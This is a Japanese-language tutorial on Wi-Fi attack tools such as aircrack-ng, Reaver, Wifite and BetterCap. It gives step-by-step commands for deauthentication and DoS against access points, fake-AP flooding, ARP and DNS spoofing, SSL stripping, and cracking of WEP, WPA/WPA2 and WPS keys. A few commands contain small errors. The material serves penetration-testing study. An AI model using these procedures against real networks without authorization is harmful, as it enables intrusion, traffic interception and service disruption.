2. Wifi攻撃のツールの使用方法
2.1. AirCrack-ng
2.1.1. AirCrack-ngとは
Aircrack-ngはワイヤレスネットワークのセキュリティテストおよび解析を行うためのCLIツール。 Kali Linuxに標準搭載されている。 主にワイヤレスネットワークのセキュリティ強化と脆弱性診断に使用される。
具体的にはIEEE802.11のWEP/WPA-PSKキーのクラッキングが行える。
公式ドキュメント:https://www.aircrack-ng.org/doku.php
可能なことや特徴は以下の通り。
- パスワードクラッキング
- WEP/WPA/WPA2などのWIFI暗号化キーを解読する事が可能
- ハンドシェイクキャプチャ
- ワイヤレスネットワークのハンドシェイクトラフィックをキャプチャしそれを解析することが可能
- スニッフィング
- ワイヤレスネットワーク上のトラフィックをキャプチャし分析することが可能。
- 無線ネットワークのテスト
- 無線ネットワークの脆弱性をテストが可能
2.1.2. AirCrackの関連コマンド
公式ドキュメントはコチラから。
iwconfig
コマンド(AirCrack搭載ではない)
無線LANインタフェースの参照・設定などができるLinuxシェル。
公式ドキュメント: https://linux.die.net/man/8/iwconfig
iwconfig # ネットワークアダプタ一覧の確認
iwconfig <インターフェイス> # インターフェイスの状態確認
iwconfig <インターフェイス> mode < managed | moniter > # モード切替え
airmon-ng
コマンド
モニターモードを扱うためのコマンドレット。
airmon-ng <start|stop> <interface> [channel] or airmon-ng <check|check kill>
airmon-ng check # airmon-ng へ影響を与える全プロセスの確認
airmon-ng check kill # airmon-ng へ影響を与える全プロセスの強制終了
airmon-ng start <インターフェイス> # モニターモードの開始
airmon-ng stop <インターフェイス>mon # モニターモードの無効化
NetworkManager等のネットワーク管理プロセスが立ち上がっている場合、airmon-ng の動作が阻害されることがある。
そのための確認などを行う時に使用する。なおすべて停止させるにはairmon-ng check kill
を行う。
airodump-ng
コマンド
パケットキャプチャ/スニッフィングに使用されるコマンドレット。
airodump-ng <options> <interface>[,<interface>,...]
公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=airodump-ng
airodump-ng <インターフェイス> # 無線状況の確認などができる
airodump-ng -c 6 --bssid 00:0F:8F:44:21:80 -w test-psk wlan0mon # wlanをモニターモードでチャンネル6のBSSID 00:~をtest-psk.capにパケットキャプチャし書き込む
aircrack-ng
コマンド
WEP および WPA/WPA2-PSK キークラッキングプログラム実行用コマンドレット。
aircrack-ng [options] <capture file(s)>
# WPA/WPA2の辞書攻撃
aircrack-ng -w [wordlist] [pcap]
公式ドキュメント: https://www.aircrack-ng.org/doku.php?id=aircrack-ng
airbase-ng
コマンド
偽のアクセスポイントを設定するコマンドレット。
airdecap-ng
コマンド
WEP/WPA/WPA2の暗号化を解くためのコマンドレット。
aireplay-ng
コマンド
パケットインジェクションを行うためのコマンドレット。
aireplay-ng -9 <インターフェイス>
# Deauth(認証解除攻撃)をMACアドレスのアクセスポイントに実行
# Essidの非表示のAPの表示化に使える
aireplay-ng -0 20 -a [MACアドレス] [インターフェイス]
2.1.3. AirCrack-ngの使い方
ESSIDが非表示のネットワークを見る方法
# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う
# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数] -a [BSSID] wlan0mon
MACアドレスの偽装(macchanger)
MACアドレスの偽装例は以下の通り。 なおMACアドレスは偽装しても再起動後にデフォルトのMACアドレスに戻る。
ifconfig wlan0 down
macchanger -r wlan0
macchanger -m [偽装MAC] wlan0
ifconfig wlan0 up
アクセスポイントに対するDoS攻撃
# モニターモードで以下を実行
airmon-ng start wlan0
# WIFi状況の確認
airodump-ng wlan0mon
airodump-ng wlan0mon
# Ctrl+Cで非表示ネットワークを確認
# BSSIDとCHをメモする
airodump-ng -c [チャンネル] --bssid [BSSID] wlan0mon
# 上記コマンドで観測を行う
# 別ウィンドウでDeauth攻撃を行う
aireplay-ng -0 [パケット数(膨大)] -a [BSSID] wlan0mon
沢山の偽のアクセスポイント
mdk3 wlan0mon b -c [チャンネル] -f [ESSIDの名前リストファイル]
WEPに対する攻撃
2.8. 具体的な攻撃手法
を参照。
2.2. coWPatty
2.2.1 coWPattyとは
coWPattyはワイヤレスネットワークのセキュリティを解析するための静的解析ツールの一つ。 具体的には、WPAおよびWPA2暗号化を使用して保護されているWi-Fiネットワークのパスワードを解析しようとするために使用できる。
このツールは、WPA/WPA2のパスワードをブルートフォース攻撃で求めるように設計されている。 そのため解析に非常に時間がかかる場合がある。しかし強力なコンピュータリソースや事前に収集したハンドシェイクキャプチャデータを使用することで、効果的にWPA/WPA2のパスワードを解析することができる。
2.2.2. coWPattyの関連コマンド
公式ドキュメントはコチラから。
2.3. Reaver
2.3.1. Reaverとは
ReaverはWIFiアクセスポイントへのWPSピン攻撃をブルートフォースで実行するツール。
2.4. Pixiwps
2.3.2. Pixiwpsとは
PixeWPS は、WPSトランザクション中にキー交換を総当たり攻撃するツール。
2.5. Wifite
2.5.1. Wifiteとは
Wifiteはターミナルからコマンドを使用して無線LANへのペネトレーションテストを行うツール。 特徴は以下の通り。
- WLANのスキャンと暗号化方式、信号強度などの情報取得
- Wi-Fiネットワークをスキャン、脆弱性を見つけるプロセスの自動化
- WEP、WPA、WPA2、WPSへの攻撃サポート
- ブルートフォースアタック、WPSピン攻撃、辞書攻撃へのサポート
Wifiteのコマンド
基本形は以下の通り。
wifite <オプション>
オプション | 説明 |
---|---|
-h | ヘルプ |
-v | その他のオプション表示 |
-i <インターフェイス> | 使用するインターフェイスの指定 |
-c <チャンネル> | スキャンするチャンネルの指定 |
-inf | 無限攻撃モードの有効化 |
-mac | ワイヤレスカードのMACアドレスをランダム化 |
-p <スキャン時間(s)> | スキャン時間の後にすべてのターゲットを攻撃する |
-kill | Airmon/Airodumpと競合するプロセスをキルする |
-pow <最低シグナル強度> | 最低シグナル強度以上の以上の信号強度を持つターゲットを攻撃 |
-skip-crack | キャプチャーされたハンドシェイク/pmkidのクラッキングをスキップする |
-first <ターゲット> | 最初のターゲットを攻撃する |
-clients-only | 関連するクライアントを持つターゲットのみを表示 |
-nodeauths | パッシブモード。クライアントの認証を解除しない |
-daemon | 終了後、デバイスをマネージドモードに戻す |
オプション | 説明 |
---|---|
WEP | |
-wep | WEPで暗号化されたネットワークのみを表示 |
-require-fakeauth | fake-authが失敗した場合、攻撃を失敗させる |
-keep-ivs | .IVSファイルを保持し、クラック時に再利用する |
WPA | |
-wpa | WPAで暗号化されたネットワークのみを表示(WPS含む) |
-new-hs | 新しいハンドシェイクをキャプチャし、hsにある既存のハンドシェイクを無視する |
-dict <ファイル> | クラッキング用のパスワードを含むファイル指定 |
WPS | |
-wps | WPS対応のネットワークのみを表示 |
-wps-only | WPS PINとPixie-Dust攻撃のみを使用 |
-bully | WPS PINやPixie-Dustの攻撃にいじめっ子プログラムを使用 |
-reaver | WPS PINおよびPixie-Dust攻撃にreaverプログラムを使用 |
-ignore-locks | APがロックされてもWPS PIN攻撃を停止しない |
PMKID | |
-pmkid | PMKIDキャプチャのみを使用し、他のWPSおよびWPA攻撃を回避する |
-no-pmkid | PMKIDキャプチャーを使用しない |
-pmkid-timeout <秒> | PMKID capturevを待つ時間の指定 |
COMMANDS | |
-cracked | 今まで割れていたアクセスポイントを表示する |
-check <ファイル(hs/*.cap)> | .capファイル(またはすべてのhs/*.capファイル)のWPAハンドシェイクをチェックする |
-crack | キャプチャしたハンドシェイクをクラックするコマンドを表示 |
Wifiteの基本的な使い方
wifite
の実行- ターゲットのアクセスポイントが表示されたら
Ctrl+C
で停止する - ターゲットのアクセスポイントの番号をCUI上に入力する
- パスワードクラシックの開始(時間(数時間)がかかる場合あり)
2.6. fern Wifi Cracker
fern Wifi CrackerはPythonで書かれたWIFIセキュリティ監査/ペネトレーションテスト用のGUIプログラム。 WEP/WPA/WPSキーのクラックとWLAN/Ethernetネットワークに対する攻撃が可能。
特徴は以下の通り。
- フラグメンテーション,ChipChop,Caferate,ARPリクエストリプレイ,WPS攻撃によるWPSクラッキングの対応
- 辞書/WPSベースのWPA/WPA2への攻撃
- クラッキングの成功時の鍵のデータベース自動保存
- 自動AP攻撃の実行
- ブルートフォースアタックの対応
2.7. BetterCap
Wi-Fi、BLE、ワイヤレスデバイス、イーサネットに対してスキャンやクラッキングを行うことのできるツール。 中間者攻撃を検証する際に利用できる。特徴は以下の通り。
- ARPスプーフィング、DNSスプーフィング、DHCPv6スプーフィング
- JavaScriptプラグインで拡張可能なHTTP/HTTPSなどのプロキシ機能
- クレデンシャル収集のためのネットワークスニファ機能
- ポートスキャン機能
- Wi-FiやBLEに対するスキャンやクラッキングの機能
基本的な使い方
起動
# BetterCapの利用
sudo bettercap -iface [インターフェース]
# 攻撃対象の確認(ARPテーブルの情報を表示)
net.show
# サブネット内の全IPアドレスに対してARPリクエストをブロードキャストする
net.probe [on | off]
ARPスプーフィング
## ARPスプーフィングの開始
set arp.spoof.fullduplex true
set arp.spoof.targets [IPアドレス]
arp.spoof [on | off]
# ARPスプーフィング開始後はWiresharkで通信を確認する
DNSスプーフィング
DNSスプーフィングのためにはどのドメイン名に対してどのIPアドレスに誘導するかを設定する必要がある。 方法は以下の2通り
- インタラクティブシェル上から
dns.spoof.address
とdns.spoof.domains
を設定する方法 - ドメイン名とIPアドレスを記述したファイルをあらかじめ作成して
dns.spoof.hosts
に読み込ませる方法
1番目の方法を解説。
set dns.spoof.domains [ドメイン名],[ドメイン名]...
set dns.spoof.address [IPアドレス]
set dns.spoof.all true
dns spoof [on|off]
2番目の方法を解説。
spoof.hosts
を作成(www.google.com
など書く)set dns.spoof.hosts ./[ファイル名]
で設定を読み込むget dns.spoof.hosts
で設定を確認dns spoof [on|off]
でDNSスプーフィングを実行
透過型HTTPプロキシ
なお以下コマンドで建てた透過型プロキシではほとんどの場合は、httpsに対応したいサイトではHSTSが検知してしまう。
set http.proxy.sslstrip true
set net.sniff.verbose false
set arp.spoof.targets [IPアドレス]
arp.spoof on
http.proxy on
net.sniff on
SSLストリッピングとHSTSバイパスを行うHTTPプロキシ
以下手法ではSSLにおいてWWW
からサブドメインが始まるURLのほとんどにTLS化が行われていることを利用して、ターゲットのFDQNをwww
からwwww
に変更を行い、名前解決をBettrecap側で行わせるものとなる。
sudo bettercap -I [インターフェイス] -X --gateway [ルータのIPアドレス] --target [IPアドレス] --proxy --parsers POST
2.8. 具体的な攻撃手法
2.8.1. WEPに対する攻撃 (airmon-ngの使用)
攻撃の種類はWEPキーの解読となる。 なお、攻撃対象はAPと端末が通信している必要がある。
また途中で解析が止まった場合は以下の可能性がある。
- パケット解析結果が少ない
- 対象ルータへのアクセスが少ない
使用ツール/ファイル
- ハードウェア
- Monitorモード対応WIFIアダプタ
- ソフトウェア
- airmon-ng
攻撃手段
- 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
- WIFIアダプタをMonitorモードに変更
ifconfig <インターフェイス> down
iwconfig <インターフェイス> mode monitor
ifconfig <インターフェイス> up
iwconfig <インターフェイス>
で確認
sudo airodump-ng <インターフェイス>
でMonitorモード動作/BSSID/チャンネル情報の確認sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>
でパケット情報収集(任意時間):※Dataが多くたまる必要あり
- WIFIアダプタをMonitorモードに変更
sudo airodump-ng <作成したいパケットファイル名>-01.cap
でパスワード解析開始(時間がかかる)
2.8.2. WPAに対する辞書攻撃 (fern Wifi Crackerの使用)
攻撃には辞書データが必要。
パスワードの辞書ファイル例は以下より。
SecLists | https://github.com/danielmiessler/SecLists
またKali Linuxの/usr/share/wordlists/
以下にも辞書ファイルがある。
おすすめはrockyou.txt
。
使用ツール/ファイル
- ハードウェア
- Monitorモード対応WIFIアダプタ
- ソフトウェア
- fern Wifi Cracker
- 必要なデータ
- 辞書攻撃用の辞書ファイル
攻撃手順
fern Wifi Cracker
の起動- 使用するWIFIアダプタを選択し
refresh
を行う Tips-Scan setting
の画面でokを押すWifi WPA
ボタンを押す- ターゲットのネットワーク名を選択する
- 左下のBrowseボタンで辞書ファイルを選択
- Attackボタンで攻撃を開始する
2.8.3. WPA2-PSKに対する辞書攻撃 (airmon-ng, cowpatty, genpmkの使用)
この攻撃は辞書攻撃となるため攻撃には辞書データが必要。 なお攻撃対象はAPと端末が通信している必要がある。
パスワードの辞書ファイル例は以下より。
SecLists | https://github.com/danielmiessler/SecLists
またKali Linuxの/usr/share/wordlists/
以下にも辞書ファイルがある。
おすすめはrockyou.txt
。
使用ツール/ファイル
- ハードウェア
- Monitorモード対応WIFIアダプタ
- ソフトウェア
- airmon-ng
- genpmk
- cowpatty
- 必要なデータ
- 辞書攻撃用の辞書ファイル
攻撃手順
- 以下手順により攻撃対象のAPのBSSIDとChannnel情報、パケット情報を収集
- WIFIアダプタをMonitorモードに変更
ifconfig <インターフェイス> down
iwconfig <インターフェイス> mode monitor
ifconfig <インターフェイス> up
iwconfig <インターフェイス>
で確認
sudo airodump-ng <インターフェイス>
でMonitorモード動作/BSSID/チャンネル情報の確認sudo airodump-ng -c <チャンネル番号> --bssid <BSSID> -w <作成したいパケットファイル名> <インターフェイス>
でパケット情報収集(任意時間)
- WIFIアダプタをMonitorモードに変更
- レインボテーブルの作成
genpmk -f <辞書ファイル> -d <作成したいレインボテーブル名> -s <任意のSSID名>
でレインボテーブルの作成
- レインボテーブルによるパスワード解析
cowpatty -r <パケットキャプチャファイル(.cap)> -d <作成したレインボテーブル> -s <任意のSSID名>
によりパスワード算出
2.8.4. WPSに対するWPSピン攻撃 (reaverの使用)
この攻撃はWPSピン攻撃となるため攻撃にはルータがWPSに対応している必要がある。 なお攻撃に時間がかかる場合がある。
使用ツール/ファイル
- ハードウェア
- Monitorモード対応WIFIアダプタ
- ソフトウェア
- reaver
攻撃手順
- 以下手順により攻撃対象のAPのBSSIDとChannnel情報を収集
- WIFIアダプタをMonitorモードに変更
ifconfig <インターフェイス> down
iwconfig <インターフェイス> mode monitor
ifconfig <インターフェイス> up
iwconfig <インターフェイス>
で確認
sudo airodump-ng <インターフェイス>
でMonitorモード動作/BSSID/チャンネル情報の確認
- WIFIアダプタをMonitorモードに変更
- 脆弱なWPSが実装されたAPを見つける
wash -i <インターフェイス>mon
で脆弱なWPS実装を見つけBSSID/チャンネルを記録する
- Reaverを起動しブルートフォースアタックを開始する
reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vv
により攻撃開始
- もしWPS PIN を取得出来たらそれをメモし以下コマンドでWPAキーを取得する
reaver -i <インターフェイス>mon -b <BSSID> -vvNwL -c 1 -p <PIN>
なお3フェーズ
においてうまく行かなかった場合、reaver -i <インターフェイス>mon -c <チャンネル> -b <BSSID> -vv -L -N -d 15 -T .5 -r 3:15
のように高度なオプションを装備してReaverがうまく攻撃できるようにできる。
オプションは以下の通り。
-L
… ロックされたWPS状態の無視-N
… エラー検出後NACKパケットを送信しない-d 15
… PINの試行間隔の設定(15s)-T .5
… タイムアウト期間の設定(0.5s)-r 3:15
… 3回の試行後15秒スリープ-K
… ピクシーダスト攻撃の有効化(Ralink・Broadcom・Realtek各社の無線LANチップに有効)